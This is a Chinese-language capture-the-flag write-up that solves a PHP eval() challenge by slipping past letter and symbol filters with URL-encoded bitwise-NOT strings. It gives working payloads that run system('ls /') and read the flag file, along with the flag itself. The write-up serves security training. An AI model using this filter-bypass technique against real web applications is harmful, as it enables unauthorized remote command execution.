本体总来讲还是比较简单的,主要就是考察 RCE 绕过,不过也给新入门的小伙伴提供了一个新思路,就是无字母的 RCE,可以进行绕过,例如异或、取反、自增自减等。

题目界面

a. 源代码

php
<?php
header("Content-Type:text/html;charset=utf-8");
error_reporting(0);
highlight_file(__FILE__);
if(isset($_GET['wllm']))
{
    $wllm = $_GET['wllm'];
    $blacklist = [' ','\t','\r','\n','\+','\[','\^','\]','\"','\-','\$','\*','\?','\<','\>','\=','\`',];
    foreach ($blacklist as $blackitem)
    {
        if (preg_match('/' . $blackitem . '/m', $wllm)) {
            die("LTLT说不能用这些奇奇怪怪的符号哦!");
        }
    }
    if(preg_match('/[a-zA-Z]/is',$wllm))
    {
        die("Ra's Al Ghul说不能用字母哦!");
    }
    echo "NoVic4说:不错哦小伙子,可你能拿到flag吗?";
    eval($wllm);
}
else
{
    echo "蔡总说:注意审题!!!";
}
?>

b. 代码审计

大部分都是常见的代码,本题唯一重要的两个点就是两个 preg_match() 函数用于过滤:第一个 preg_match() 用于过滤特殊符号,第二个 preg_match() 将大小写所有字母过滤。

c. 具体解法

我们已知的是将所有字母过滤,特殊符号过滤了 ^,但没有过滤 ~(取反),所以我们能用取反编码的方式来解决这个题。

先构建指令 system('ls /');:

php
<?php
echo urlencode(~'system');
echo "\n";
echo urlencode(~'ls /');
?>

输出内容:

text
%8C%86%8C%8B%9A%92
%93%8C%DF%D0

把这个拼接成 payload:

text
?wllm=(~%8C%86%8C%8B%9A%92)(~%93%8C%DF%D0);

执行结果

再来构建指令 system('cat /flllllaaaaaaggggggg');:

php
<?php
echo urlencode(~'system');
echo "\n";
echo urlencode(~'cat /flllllaaaaaaggggggg');
?>

payload:

text
?wllm=(~%8C%86%8C%8B%9A%92)(~%9C%9E%8B%DF%D0%99%93%93%93%93%93%9E%9E%9E%9E%9E%9E%98%98%98%98%98%98%98);

得到最终 flag:

text
NSSCTF{cdce058d-678c-4909-af0a-d89c6399339c}

拓展:这道题过滤了字母和特殊符号 ^,没过滤 ~。如果没过滤 ^,但过滤了 ~,那么我们只能用异或的方式解决。